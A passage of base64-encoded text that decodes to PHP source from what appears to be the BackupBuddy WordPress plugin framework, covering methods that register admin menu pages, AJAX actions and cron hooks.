pbml0X2NsYXNzX2NvbnRyb2xsZXIoICd1aScgKTsgLy8gJHVpIGNsYXNzIHJlcXVpcmVkIHBhZ2VzIGNvbnRyb2xsZXIgYW5kIG1heSBub3QgYmUgc2V0IHVwIGlmIG5vdCBpbiBvdXIgb3duIHBhZ2VzLgoJCXNlbGY6OiR1aS0+ZGlzYWxlcnQoICR1bmlxdWVfaWQsICRtZXNzYWdlLCAkZXJyb3IsICRtb3JlX2NzcyApOwoJfSAvLyBFbmQgZGlzYWxlcnQoKS4KCgkvKioKCSAqIERpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciB3aGVuIHRoZXkgaG92ZXIgb3ZlciB0aGUgcXVlc3Rpb24gbWFyay4gR3JhY2VmdWxseSBmYWxscyBiYWNrIHRvIG5vcm1hbCB0b29sdGlwLgoJICogSFRNTCBpcyBhbGxvd2VkIHdpdGhpbiB0b29sdGlwcy4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRtZXNzYWdlICAgQWN0dWFsIG1lc3NhZ2UgdG8gc2hvdyB0byB1c2VyLgoJICogQHBhcmFtIHN0cmluZyAkdGl0bGUgICAgIFRpdGxlIG9mIG1lc3NhZ2UgdG8gc2hvdyB0byB1c2VyLiBUaGlzIGlzIGRpc3BsYXllZCBhdCB0b3Agb2YgdGlwIGluIGJpZ2dlciBsZXR0ZXJzLiAob3B0aW9uYWwpIERlZmF1bHQgaXMgYmxhbmsuCgkgKiBAcGFyYW0gYm9vbCAgICRlY2hvX3RpcCAgKE9wdGlvbmFsKSBXaGV0aGVyIHRvIGVjaG8gdGhlIHRpcCAoZGVmYXVsdDsgdHJ1ZSksIG9yIHJldHVybiB0aGUgdGlwIChmYWxzZSkuCgkgKgoJICogQHJldHVybiBtaXhlZCAgSWYgbm90IGVjaG9pbmcgdGlwIHRoZW4gdGhlIHN0cmluZyB3aWxsIGJlIHJldHVybmVkLiBXaGVuIGVjaG9pbmcgdGhlcmUgaXMgbm8gcmV0dXJuLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHRpcCggJG1lc3NhZ2UsICR0aXRsZSA9ICcnLCAkZWNob190aXAgPSB0cnVlICkgewoJCXNlbGY6OmluaXRfY2xhc3NfY29udHJvbGxlciggJ3VpJyApOyAvLyAkdWkgY2xhc3MgcmVxdWlyZWQgcGFnZXMgY29udHJvbGxlciBhbmQgbWF5IG5vdCBiZSBzZXQgdXAgaWYgbm90IGluIG91ciBvd24gcGFnZXMuCgkJcmV0dXJuIHNlbGY6OiR1aS0+dGlwKCAkbWVzc2FnZSwgJHRpdGxlLCAkZWNob190aXAgKTsKCX0gLy8gRW5kIHRpcCgpLgoKCS8qKgoJICogQWRkcyBhIHBhZ2UgaW50byB0aGUgYWRtaW4uIFN0b3JlcyBtZW51IGl0ZW1zIHRvIGFkZCBpbiBzZWxmOjokX3BhZ2Vfc2V0dGluZ3MgYXJyYXkuIFJlZ2lzdGVycyBjYWxsYmFjayB0byByZWdpc3Rlcl9hZG1pbl9tZW51KCkgd2l0aCBXb3JkUHJlc3MgdG8gYWN0dWFsbHkgc2V0IHVwIHRoZSBwYWdlcy4KCSAqCgkgKiBAc2VlIHNlbGY6OnJlZ2lzdGVyX2FkbWluX21lbnUoKQoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJHBhcmVudF9zbHVnICBTbHVnIG9mIHRoZSBwYXJlbnQgbWVudSBpdGVtIHRvIGdvIHVuZGVyLiBJZiBhIHNlcmllcyB1c2UgYFNFUklFU2AgZm9yIHRoZSB2YWx1ZSB0byBhdXRvbWF0aWNhbGx5IGhhbmRsZSB0aGUgc2VyaWVzLiBQQiBwcmVmaXggYXV0b21hdGljYWxseSBhcHBsaWVkIHVubGVzcyAkc2x1Z19wcmVmaXggb3ZlcnJpZGVzLgoJICogQHBhcmFtIHN0cmluZyAkcGFnZV9zbHVnICAgIFNsdWcgZm9yIHRoaXMgcGFnZS4gUEIgcHJlZml4IGF1dG9tYXRpY2FsbHkgYXBwbGllZCB1bmxlc3MgJHNsdWdfcHJlZml4IG92ZXJyaWRlcy4KCSAqIEBwYXJhbSBzdHJpbmcgJHBhZ2VfdGl0bGUgICBUaXRsZSBvZiB0aGUgcGFnZS4gSWYgdGhpcyBtZW51IGl0ZW0gaGFzIG5vIHBhcmVudCB0aGlzIGNhbiBiZSBhbiBhcnJheSBvZiBUV08gdGl0bGVzLiBUaGUgcm9vdCBtZW51IGFuZCB0aGUgZmlyc3Qgc3VibWVudSBpdGVtIHRoYXQgbGlua3MgdG8gdGhlIHNhbWUgcGxhY2UuCgkgKiBAcGFyYW0gc3RyaW5nICRjYXBhYmlsaXR5ICAgQ2FwYWJpbGl0eSByZXF1aXJlZCB0byBhY2Nlc3MgcGFnZS4gRGVmYXVsdDogYWN0aXZhdGVfcGx1Z2lucy4KCSAqIEBwYXJhbSBzdHJpbmcgJGljb24gICAgICAgICBNZW51IGljb24gZ3JhcGhpYy4gQXV0b21hdGljYWxseSBwcmVmaXhlcyB0aGlzIHZhbHVlIHdpdGggdGhlIGZ1bGwgVVJMIHRvIHBsdWdpbidzIGltYWdlcyBkaXJlY3RvcnkuIERlZmF1bHQ6IGljb25fMTZ4MTYucG5nLgoJICogQHBhcmFtIHN0cmluZyAkc2x1Z19wcmVmaXggIFByZWZpeCB0byB1c2Ugd2l0aCB0aGlzIG1lbnUuIE92ZXJyaWRlIGlmIG5lZWRpbmcgdG8gYWRkIG1lbnUgdW5kZXIgYW5vdGhlciBwbHVnaW4gb3IgY29yZSBtZW51cy4gRGVmYXVsdDogREVGQVVMVC4KCSAqIEBwYXJhbSBpbnQgICAgJHBvc2l0aW9uICAgICBQcmlvcml0eSBvbiB3aGVyZSBpbiB0aGUgbWVudSB0byBhZGQgdGhpcy4gQnkgZGVmYXVsdCBpdCBpcyBhZGRlZCB0byB0aGUgYm90dG9tIG9mIHRoZSBtZW51LiBJdCdzIHBvc3NpYmxlIHRvIG92ZXJ3cml0ZSBhbm90aGVyIG1lbnUgaXRlbSBpZiB0aGlzIG51bWJlciBtYXRjaGVzLiBVc2UgY2F1dGlvbi4gRGVmYXVsdDogbnVsbC4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBhZGRfcGFnZSggJHBhcmVudF9zbHVnLCAkcGFnZV9zbHVnLCAkcGFnZV90aXRsZSwgJGNhcGFiaWxpdHkgPSAnYWN0aXZhdGVfcGx1Z2lucycsICRpY29uID0gJ2ljb25fbWVudV8xNngxNi5wbmcnLCAkc2x1Z19wcmVmaXggPSAnREVGQVVMVCcsICRwb3NpdGlvbiA9IG51bGwgKSB7CgkJaWYgKCAnREVGQVVMVCcgPT0gJHNsdWdfcHJlZml4ICkgewoJCQkkc2x1Z19wcmVmaXggPSAncGJfJyAuIHNlbGY6OnNldHRpbmdzKCAnc2x1ZycgKSAuICdfJzsKCQl9CgoJCWlmICggISBpc19vYmplY3QoIHNlbGY6OiRfcGFnZXMgKSApIHsKCQkJc2VsZjo6X2luaXRfY29yZV9jb250cm9sbGVyKCAncGFnZXMnICk7CgoJCQlpZiAoIGlzX25ldHdvcmtfYWRtaW4oKSApIHsgLy8gTXVsdGlzaXRlIGluc3RhbGxhdGlvbiBhZG1pbjsgdXNlcyBkaWZmZXJlbnQgaG9vay4KCQkJCWFkZF9hY3Rpb24oICduZXR3b3JrX2FkbWluX21lbnUnLCBhcnJheSggJ3BiX2JhY2t1cGJ1ZGR5JywgJ2luaXRfcmVnaXN0ZXJfYWRtaW5fbWVudScgKSApOwoJCQl9IGVsc2UgeyAvLyBTdGFuZGFsb25lIGFkbWluLgoJCQkJYWRkX2FjdGlvbiggJ2FkbWluX21lbnUnLCBhcnJheSggJ3BiX2JhY2t1cGJ1ZGR5JywgJ2luaXRfcmVnaXN0ZXJfYWRtaW5fbWVudScgKSApOwoJCQl9CgkJfQoKCQlzZWxmOjokX3BhZ2Vfc2V0dGluZ3NbXSA9IGFycmF5KAoJCQkncGFyZW50JyAgICAgID0+ICRwYXJlbnRfc2x1ZywKCQkJJ3NsdWcnICAgICAgICA9PiAkcGFnZV9zbHVnLAoJCQkndGl0bGUnICAgICAgID0+ICRwYWdlX3RpdGxlLAoJCQknY2FwYWJpbGl0eScgID0+ICRjYXBhYmlsaXR5LAoJCQknaWNvbicgICAgICAgID0+ICRpY29uLAoJCQknc2x1Z19wcmVmaXgnID0+ICRzbHVnX3ByZWZpeCwKCQkJJ3Bvc2l0aW9uJyAgICA9PiAkcG9zaXRpb24sCgkJKTsKCX0gLy8gRW5kIGFkZF9wYWdlKCkuCgoJLyoqCgkgKiBDYWxsIENsYXNzIEFkbWluIE1lbnUgUmVnaXN0cmF0aW9uCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gaW5pdF9yZWdpc3Rlcl9hZG1pbl9tZW51KCkgewoJCSRjbGFzcyA9ICdwYl8nIC4gc2VsZjo6c2V0dGluZ3MoICdzbHVnJyApOwoJCWNhbGxfdXNlcl9mdW5jKCBhcnJheSggJGNsYXNzLCAncmVnaXN0ZXJfYWRtaW5fbWVudScgKSApOwoJfQoKCS8qKgoJICogSW50ZXJuYWwgY2FsbGJhY2sgZm9yIGFjdHVhbGx5IHJlZ2lzdGVyaW5nIHRoZSBtZW51IGl0ZW1zIGludG8gV29yZFByZXNzLiBSZWdpc3RlcnMgcGFnZXMgZGVmaW5lZCBieSBzZWxmOjphZGRfcGFnZSgpLgoJICoKCSAqIEBzZWUgc2VsZjo6YWRkX3BhZ2UoKQoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlZ2lzdGVyX2FkbWluX21lbnUoKSB7CgkJaWYgKCAhIHNlbGY6OmJsYW5rKCBzZWxmOjokX3NldHRpbmdzWydzZXJpZXMnXSApICkgeyAvLyBTRVJJRVMuCgkJCSRzZXJpZXNfc2x1ZyA9ICdwYl8nIC4gc2VsZjo6JF9zZXR0aW5nc1snc2VyaWVzJ107CgkJCS8vIFdlIG5lZWQgdG8gc2VlIGZpcnN0IGlmIHRoaXMgc2VyaWVzJyByb290IG1lbnUgaGFzIGJlZW4gY3JlYXRlZCBieSBhIHBsdWdpbiB5ZXQuCgkJCWdsb2JhbCAkbWVudTsKCQkJJGZvdW5kX3NlcmllcyA9IGZhbHNlOwoJCQlmb3JlYWNoICggJG1lbnUgYXMgJG1lbnVzID0+ICRpdGVtICkgeyAvLyBMb29wIHRocm91Z2ggZXhpc3RpbmcgbWVudSBpdGVtcyBsb29raW5nIGZvciBvdXIgc2VyaWVzLgoJCQkJaWYgKCAkaXRlbVswXSA9PSAkc2VyaWVzX3NsdWcgKSB7CgkJCQkJJGZvdW5kX3NlcmllcyA9IHRydWU7CgkJCQl9CgkJCX0KCQkJaWYgKCBmYWxzZSA9PT0gJGZvdW5kX3NlcmllcyApIHsgLy8gU2VyaWVzIHJvb3QgbWVudSBkb2VzIG5vdCBleGlzdDsgY3JlYXRlIGl0LgoJCQkJYWRkX21lbnVfcGFnZSggc2VsZjo6JF9zZXR0aW5nc1snc2VyaWVzJ10gLiAnIEdldHRpbmcgU3RhcnRlZCcsIHNlbGY6OiRfc2V0dGluZ3NbJ3NlcmllcyddLCAnYWN0aXZhdGVfcGx1Z2lucycsICRzZXJpZXNfc2x1ZywgYXJyYXkoICZzZWxmOjokX3BhZ2VzLCAnZ2V0dGluZ19zdGFydGVkJyApLCBzZWxmOjpwbHVnaW5fdXJsKCkgLiAnL2ltYWdlcy9zZXJpZXNfaWNvbl8xNngxNi5wbmcnICk7IC8vICwgJHBhZ2VbJ3Bvc2l0aW9uJ10KCQkJCWFkZF9zdWJtZW51X3BhZ2UoICRzZXJpZXNfc2x1Zywgc2VsZjo6JF9zZXR0aW5nc1snc2VyaWVzJ10gLiAnIEdldHRpbmcgU3RhcnRlZCcsICdHZXR0aW5nIFN0YXJ0ZWQnLCAnYWN0aXZhdGVfcGx1Z2lucycsICRzZXJpZXNfc2x1ZywgYXJyYXkoICZzZWxmOjokX3BhZ2VzLCAnZ2V0dGluZ19zdGFydGVkJyApICk7CgkJCX0KCgkJCS8vIFJlZ2lzdGVyIGZvciBnZXR0aW5nIHN0YXJ0ZWQgcGFnZS4KCQkJZ2xvYmFsICRwbHVnaW5idWRkeV9zZXJpZXM7CgkJCWlmICggISBpc3NldCggJHBsdWdpbmJ1ZGR5X3Nlcmllc1sgc2VsZjo6JF9zZXR0aW5nc1snc2VyaWVzJ10gXSApICkgewoJCQkJJHBsdWdpbmJ1ZGR5X3Nlcmllc1sgc2VsZjo6JF9zZXR0aW5nc1snc2VyaWVzJ10gXSA9IGFycmF5KCk7CgkJCX0KCgkJCS8vIEFkZCB0aGlzIHBsdWdpbiBpbnRvIGdsb2JhbCBzZXJpZXMgdmFyaWFibGUuCgkJCSRwbHVnaW5idWRkeV9zZXJpZXNbIHNlbGY6OiRfc2V0dGluZ3NbJ3NlcmllcyddIF1bIHNlbGY6OiRfc2V0dGluZ3NbJ3NsdWcnXSBdID0gYXJyYXkoCgkJCQkncGF0aCcgPT4gc2VsZjo6cGx1Z2luX3BhdGgoKSwKCQkJCSduYW1lJyA9PiBzZWxmOjpzZXR0aW5ncyggJ25hbWUnICksCgkJCQknc2x1ZycgPT4gc2VsZjo6c2V0dGluZ3MoICdzbHVnJyApLAoJCQkpOwoJCX0KCgkJLy8gQWRkIGFsbCByZWdpc3RlcmVkIHBhZ2VzIGZvciB0aGlzIHBsdWdpbi4KCQlmb3JlYWNoICggc2VsZjo6JF9wYWdlX3NldHRpbmdzIGFzICRwYWdlICkgewoJCQkkbWVudV9zbHVnID0gJHBhZ2VbJ3NsdWdfcHJlZml4J10gLiAkcGFnZVsnc2x1ZyddOwoJCQlpZiAoICdTRVJJRVMnID09PSAkcGFnZVsncGFyZW50J10gKSB7IC8vIEFkZGluZyBwYWdlIGludG8gc2VyaWVzLgoJCQkJJHBhcmVudF9zbHVnID0gJ3BiXycgLiBzZWxmOjokX3NldHRpbmdzWydzZXJpZXMnXTsKCQkJCWlmICggc2VsZjo6YmxhbmsoIHNlbGY6OiRfc2V0dGluZ3NbJ3NlcmllcyddICkgKSB7IC8vIE5vIHNlcmllcyBzZXQgYnV0IG1lbnUgaXMgcmVnaXN0ZXJlZCBpbnRvIGEgc2VyaWVzLgoJCQkJCWVjaG8gJ3tXQVJOSU5HOiBNZW51IGl0ZW0gcmVnaXN0ZXJlZCBpbnRvIGEgc2VyaWVzIGJ1dCBubyBwbHVnaW4gc2VyaWVzIGlzIGRlZmluZWQufSc7CgkJCQl9CgkJCX0gZWxzZSB7IC8vIE5vbi1zZXJpZXMgcGFnZS4KCQkJCSRwYXJlbnRfc2x1ZyA9ICRwYWdlWydzbHVnX3ByZWZpeCddIC4gJHBhZ2VbJ3BhcmVudCddOwoJCQl9CgoJCQlpZiAoIGlzX2FycmF5KCAkcGFnZVsndGl0bGUnXSApICkgewoJCQkJJHBhZ2VfdGl0bGUgICAgID0gJHBhZ2VbJ3RpdGxlJ11bMF07CgkJCQkkcGFnZV90aXRsZV9hbHQgPSAkcGFnZVsndGl0bGUnXVsxXTsKCQkJfSBlbHNlIHsgLy8gTm90IGFuIGFycmF5IHNvIG9ubHkgb25lIHBhZ2UgdGl0bGUuCgkJCQkkcGFnZV90aXRsZSAgICAgPSAkcGFnZVsndGl0bGUnXTsKCQkJCSRwYWdlX3RpdGxlX2FsdCA9ICRwYWdlWyd0aXRsZSddOwoJCQl9CgoJCQkvLyBDYWxjdWxhdGUgaWNvbi4KCQkJaWYgKCAnJyAhPSAkcGFnZVsnaWNvbiddICkgeyAvLyBJZiBpY29uIHNwZWNpZmllZCB0aGVuIGZpZ3VyZSBvdXQgdXJsLgoJCQkJJGljb24gPSAkcGFnZVsnaWNvbiddOwoJCQl9IGVsc2UgeyAvLyBObyBpY29uLiBVc3VhbGx5IHVzZWQgd2hlbiBtYW51YWxseSBkb2luZyBDU1MgZm9yIHJldGluYSBpY29uLgoJCQkJJGljb24gPSAnJzsKCQkJfQoKCQkJaWYgKCBzZWxmOjpibGFuayggJHBhZ2VbJ3BhcmVudCddICkgKSB7IC8vIFRvcC1sZXZlbCBtZW51LgoJCQkJYWRkX21lbnVfcGFnZSggJHBhZ2VfdGl0bGUsICRwYWdlX3RpdGxlLCAkcGFnZVsnY2FwYWJpbGl0eSddLCAkbWVudV9zbHVnLCBhcnJheSggJnNlbGY6OiRfcGFnZXMsICRwYWdlWydzbHVnJ10gKSwgJGljb24sICRwYWdlWydwb3NpdGlvbiddICk7CgkJCQlhZGRfc3VibWVudV9wYWdlKCAkbWVudV9zbHVnLCBzZWxmOjpzZXR0aW5ncyggJ25hbWUnICkgLiAnICZsc2FxdW87ICcgLiAkcGFnZV90aXRsZV9hbHQsICRwYWdlX3RpdGxlX2FsdCwgJHBhZ2VbJ2NhcGFiaWxpdHknXSwgJG1lbnVfc2x1ZywgYXJyYXkoICZzZWxmOjokX3BhZ2VzLCAkcGFnZVsnc2x1ZyddICkgKTsgLy8gQWxsb3dzIG5hbWluZyBvZiBmaXJzdCBzdWJtZW51IGl0ZW0gZGlmZmVyZW50bHkgZnJvbSB0aGUgcGFyZW50LiBFbHNlIGl0cyBhdXRvIGNyZWF0ZWQgd2l0aCBzYW1lIG5hbWUuCgkJCX0gZWxzZSB7IC8vIFN1Yi1tZW51LgoJCQkJYWRkX3N1Ym1lbnVfcGFnZSggJHBhcmVudF9zbHVnLCBzZWxmOjpzZXR0aW5ncyggJ25hbWUnICkgLiAnICZsc2FxdW87ICcgLiAkcGFnZV90aXRsZSwgJHBhZ2VfdGl0bGUsICRwYWdlWydjYXBhYmlsaXR5J10sICRtZW51X3NsdWcsIGFycmF5KCAmc2VsZjo6JF9wYWdlcywgJHBhZ2VbJ3NsdWcnXSApICk7CgkJCX0KCQl9Cgl9IC8vIEVuZCByZWdpc3Rlcl9hZG1pbl9tZW51KCkuCgoJLyoqCgkgKiBSZWdpc3RlcnMgYSBXb3JkUHJlc3MgYWN0aW9uLiBBY3Rpb24gb2YgdGhlIG5hbWUgJHRhZyB3aWxsIGNhbGwgdGhlIG1ldGhvZCBpbiAvY29udHJvbGxlcnMvYWN0aW9ucy5waHAgd2l0aCB0aGUgbWF0Y2hpbmcgbmFtZS4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nL2FycmF5ICR0YWcgICAgICAgICAgICBUYWcgLyBzbHVnIGZvciB0aGUgYWN0aW9uLiBJZiBhbiBhcnJheSB0aGUgZmlyc3QgaXRlbSBpcyB0aGUgdGFnLCB0aGUgc2Vjb25kIGlzIGFuIG9wdGlvbmFsIGN1c3RvbSBjYWxsYmFjayBtZXRob2QgbmFtZS4KCSAqIEBwYXJhbSBpbnQgICAgICAgICAgJHByaW9yaXR5ICAgICAgIEludGVnZXIgcHJpb3JpdHkgbnVtYmVyIGZvciB0aGUgYWN0aW9uLgoJICogQHBhcmFtIGludCAgICAgICAgICAkYWNjZXB0ZWRfYXJncyAgTnVtYmVyIG9mIGFyZ3VtZW50cyB0aGlzIGFjdGlvbiBtYXkgYWNjZXB0IGluIGl0cyBtZXRob2QuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gYWRkX2FjdGlvbiggJHRhZywgJHByaW9yaXR5ID0gMTAsICRhY2NlcHRlZF9hcmdzID0gMSApIHsKCQlpZiAoICEgaXNfb2JqZWN0KCBzZWxmOjokX2FjdGlvbnMgKSApIHsKCQkJc2VsZjo6X2luaXRfY29yZV9jb250cm9sbGVyKCAnYWN0aW9ucycgKTsgfQoJCWlmICggaXNfYXJyYXkoICR0YWcgKSApIHsgLy8gSWYgYXJyYXkgdGhlbiBmaXJzdCBwYXJhbSBpcyB0YWcsIHNlY29uZCBwYXJhbSBpcyBjdXN0b20gY2FsbGJhY2sgbWV0aG9kIG5hbWUuCgkJCSRjYWxsYmFja19tZXRob2QgPSAkdGFnWzFdOwoJCQkkdGFnICAgICAgICAgICAgID0gJHRhZ1swXTsKCQl9IGVsc2UgeyAvLyBObyBjdXN0b20gbWV0aG9kIG5hbWUgc28gdGFnIGFuZCBjYWxsYmFjayBtZXRob2QgbmFtZSBhcmUgdGhlIHNhbWUuCgkJCSRjYWxsYmFja19tZXRob2QgPSAkdGFnOwoJCQlpZiAoIHN0cnBvcyggJHRhZywgJy4nICkgIT09IGZhbHNlICkgewoJCQkJZWNobyAne1dhcm5pbmc6IFlvdXIgdGFnIGNvbnRhaW5zIGRpc2FsbG93ZWQgY2hhcmFjdGVycy4gVGFnIG5hbWVzIGFyZSBlcXVhbCB0byB0aGUgUEhQIG1ldGhvZCB0aGF0IGlzIGNhbGxlZCBiYWNrIHNvIHRoZXkgbXVzdCBjb25mb3JtIHRvIFBIUCBtZXRob2QgbmFtZSBzdGFuZGFyZHMuIEZvciBjdXN0b20gY2FsbGJhY2sgbWV0aG9kIG5hbWVzIHVzZSBhbiBhcnJheSBmb3IgdGhlIHRhZyBwYXJhbWV0ZXIgaW4gdGhlIGZvcm06IGFycmF5KCBcJ3RhZ1wnLCBcJ2NhbGxiYWNrX25hbWVcJyApLn0nOwoJCQl9CgkJfQoJCWFkZF9hY3Rpb24oICR0YWcsIGFycmF5KCAmc2VsZjo6JF9hY3Rpb25zLCAkY2FsbGJhY2tfbWV0aG9kICksICRwcmlvcml0eSwgJGFjY2VwdGVkX2FyZ3MgKTsKCX0gLy8gRW5kIGFkZF9hY3Rpb24oKS4KCgkvKioKCSAqIFJlZ2lzdGVycyBhIFdvcmRQcmVzcyBhamF4IGFjdGlvbi4gQWpheCBhY3Rpb24gb2YgdGhlIG5hbWUgJHRhZyB3aWxsIGNhbGwgdGhlIG1ldGhvZCBpbiAvY29udHJvbGxlcnMvYWpheC5waHAgd2l0aCB0aGUgbWF0Y2hpbmcgbmFtZS4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nL2FycmF5ICR0YWcgIFRhZyAvIHNsdWcgZm9yIHRoZSBhY3Rpb24uIElmIGFuIGFycmF5IHRoZSBmaXJzdCBpdGVtIGlzIHRoZSB0YWcsIHRoZSBzZWNvbmQgaXMgYW4gb3B0aW9uYWwgY3VzdG9tIGNhbGxiYWNrIG1ldGhvZCBuYW1lLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGFkZF9hamF4KCAkdGFnICkgewoJCWlmICggISBpc19vYmplY3QoIHNlbGY6OiRfYWpheCApICkgewoJCQlzZWxmOjpfaW5pdF9jb3JlX2NvbnRyb2xsZXIoICdhamF4JyApOyB9CgkJaWYgKCBpc19hcnJheSggJHRhZyApICkgeyAvLyBJZiBhcnJheSB0aGVuIGZpcnN0IHBhcmFtIGlzIHRhZywgc2Vjb25kIHBhcmFtIGlzIGN1c3RvbSBjYWxsYmFjayBtZXRob2QgbmFtZS4KCQkJJGNhbGxiYWNrX21ldGhvZCA9ICR0YWdbMV07CgkJCSR0YWcgICAgICAgICAgICAgPSAkdGFnWzBdOwoJCX0gZWxzZSB7IC8vIE5vIGN1c3RvbSBtZXRob2QgbmFtZSBzbyB0YWcgYW5kIGNhbGxiYWNrIG1ldGhvZCBuYW1lIGFyZSB0aGUgc2FtZS4KCQkJJGNhbGxiYWNrX21ldGhvZCA9ICR0YWc7CgkJCWlmICggc3RycG9zKCAkdGFnLCAnLicgKSAhPT0gZmFsc2UgKSB7CgkJCQllY2hvICd7V2FybmluZzogWW91ciB0YWcgY29udGFpbnMgZGlzYWxsb3dlZCBjaGFyYWN0ZXJzLiBUYWcgbmFtZXMgYXJlIGVxdWFsIHRvIHRoZSBQSFAgbWV0aG9kIHRoYXQgaXMgY2FsbGVkIGJhY2sgc28gdGhleSBtdXN0IGNvbmZvcm0gdG8gUEhQIG1ldGhvZCBuYW1lIHN0YW5kYXJkcy4gRm9yIGN1c3RvbSBjYWxsYmFjayBtZXRob2QgbmFtZXMgdXNlIGFuIGFycmF5IGZvciB0aGUgdGFnIHBhcmFtZXRlciBpbiB0aGUgZm9ybTogYXJyYXkoIFwndGFnXCcsIFwnY2FsbGJhY2tfbmFtZVwnICkufSc7CgkJCX0KCQl9CgkJYWRkX2FjdGlvbiggJ3dwX2FqYXhfcGJfJyAuIHNlbGY6OnNldHRpbmdzKCAnc2x1ZycgKSAuICdfJyAuICR0YWcsIGFycmF5KCAmc2VsZjo6JF9hamF4LCAkY2FsbGJhY2tfbWV0aG9kICkgKTsKCX0gLy8gRW5kIGFkZF9hamF4KCkuCgoJLyoqCgkgKiBSZWdpc3RlcnMgYSBXb3JkUHJlc3MgY3JvbiBjYWxsYmFjayAodGVjaG5pY2FsbHkgYW4gYWN0aW9uKS4gQ3JvbiBhY3Rpb24gb2YgdGhlIG5hbWUgJHRhZyB3aWxsIGNhbGwgdGhlIG1ldGhvZCBpbiAvY29udHJvbGxlcnMvY3Jvbi5waHAgd2l0aCB0aGUgbWF0Y2hpbmcgbmFtZS4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nL2FycmF5ICR0YWcgICAgICAgICAgICAgICAgVGFnIC8gc2x1ZyBmb3IgdGhlIGNyb24gYWN0aW9uLiBJZiBhbiBhcnJheSB0aGUgZmlyc3QgaXRlbSBpcyB0aGUgdGFnLCB0aGUgc2Vjb25kIGlzIGFuIG9wdGlvbmFsIGN1c3RvbSBjYWxsYmFjayBtZXRob2QgbmFtZS4KCSAqIEBwYXJhbSBpbnQgICAgICAgICAgJHByaW9yaXR5ICAgICAgICAgICBJbnRlZ2VyIHByaW9yaXR5IG51bWJlciBmb3IgdGhlIGNyb24gYWN0aW9uLgoJICogQHBhcmFtIGludCAgICAgICAgICAkYWNjZXB0ZWRfYXJnc19udW0gIE51bWJlciBvZiBhcmd1bWVudHMgdGhpcyBhY3Rpb24gbWF5IGFjY2VwdCBpbiBpdHMgbWV0aG9kLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGFkZF9jcm9uKCAkdGFnLCAkcHJpb3JpdHkgPSAxMCwgJGFjY2VwdGVkX2FyZ3NfbnVtID0gMSApIHsKCQlpZiAoICEgaXNfb2JqZWN0KCBzZWxmOjokX2Nyb24gKSApIHsKCQkJc2VsZjo6X2luaXRfY29yZV9jb250cm9sbGVyKCAnY3JvbicgKTsgfQoJCWlmICggaXNfYXJyYXkoICR0YWcgKSApIHsgLy8gSWYgYXJyYXkgdGhlbiBmaXJzdCBwYXJhbSBpcyB0YWcsIHNlY29uZCBwYXJhbSBpcyBjdXN0b20gY2FsbGJhY2sgbWV0aG9kIG5hbWUuCgkJCSRjYWxsYmFja19tZXRob2QgPSAkdGFnWzFdOwoJCQkkdGFnICAgICAgICAgICAgID0gJHRhZ1swXTsKCQl9IGVsc2UgeyAvLyBObyBjdXN0b20gbWV0aG9kIG5hbWUgc28gdGFnIGFuZCBjYWxsYmFjayBtZXRob2QgbmFtZSBhcmUgdGhlIHNhbWUuCgkJCSRjYWxsYmFja19tZXRob2QgPSAkdGFnOwoJCQlpZiAoIHN0cnBvcyggJHRhZywgJy4nICkgIT09IGZhbHNlICkgewoJCQkJZWNobyAne1dhcm5pbmc6IFlvdXIgdGFnIGNvbnRhaW5zIGRpc2FsbG93ZWQgY2hhcmFjdGVycy4gVGFnIG5hbWVzIGFyZSBlcXVhbCB0byB0aGUgUEhQIG1ldGhvZCB0aGF0IGlzIGNhbGxlZCBiYWNrIHNvIHRoZXkgbXVzdCBjb25mb3JtIHRvIFBIUCBtZXRob2QgbmFtZSBzdGFuZGFyZHMuIEZvciBjdXN0b20gY2FsbGJhY2sgbWV0aG9kIG5hbWVzIHVzZSBhbiBhcnJheSBmb3IgdGhlIHRhZyBwYXJhbWV0ZXIgaW4gdGhlIGZvcm06IGFycmF5KCBcJ3RhZ1wnLCBcJ2NhbGxiYWNrX25hbWVcJyApLn0nOwoJCQl9CgkJfQoJCWFkZF9hY3Rpb24oIHNlbGY6OnNldHRpbmdzKCAnc2x1ZycgKSAuICdfJyAuICR0YWcsIGFycmF5KCAmc2VsZjo6JF9jcm9uLCAkY2FsbGJhY2tfbWV0aG9kICksICRwcmlvcml0eSwgJGFjY2VwdGVkX2FyZ3NfbnVtICk7Cgl9IC8vIEVuZCBhZGRfY3JvbigpLgoKCS8qKgoJICogUmVnaXN0ZXJzIGEgV29yZFByZXNzIGFjdGlvbi4gQWN0aW9uIG9mIHRoZSBuYW1lICR0YWcgd2lsbCBjYWxsIHRoZSBtZXRob2QgaW4gL2NvbnRyb2xsZXJzL2Rhc2hib2FyZC5waHAgd2l0aCB0aGUgbWF0Y2hpbmcgbmFtZS4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nL2FycmF5ICR0YWcgICAgICAgICBUYWcgLyBzbHVnIGZvciB0aGUgYWN0aW9uLgoJICogQHBhcmFtIHN0cmluZyAgICAgICAkdGl0bGUgICAgICAgRGFzaGJvYXJkIHdpZGdldCB0aXRsZS4KCSAqIEBwYXJhbSBzdHJpbmcgICAgICAgJGNhcGFiaWxpdHkgIFJlcXVpcmVkIGNhcGFiaWxpdHkgdG8gZGlzcGxheS4gQWxzbyBhY2NlcHRzIGBnb2Rtb2RlYCB0byBvbmx5IGFsbG93IHN1cGVyYWRtaW5zIGluIG11bHRpc2l0ZSBhbmQgYWRtaW5zIGluIHN0YW5kYWxvbmUuCgkgKiBAcGFyYW0gYm9vbCAgICAgICAgICRmb3JjZV90b3AgICBOdW1iZXIgb2YgYXJndW1lbnRzIHRoaXMgYWN0aW9uIG1heSBhY2NlcHQgaW4gaXRzIG1ldGhvZC4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBhZGRfZGFzaGJvYXJkX3dpZGdldCggJHRhZywgJHRpdGxlLCAkY2FwYWJpbGl0eSwgJGZvcmNlX3RvcCA9IGZhbHNlICkgewo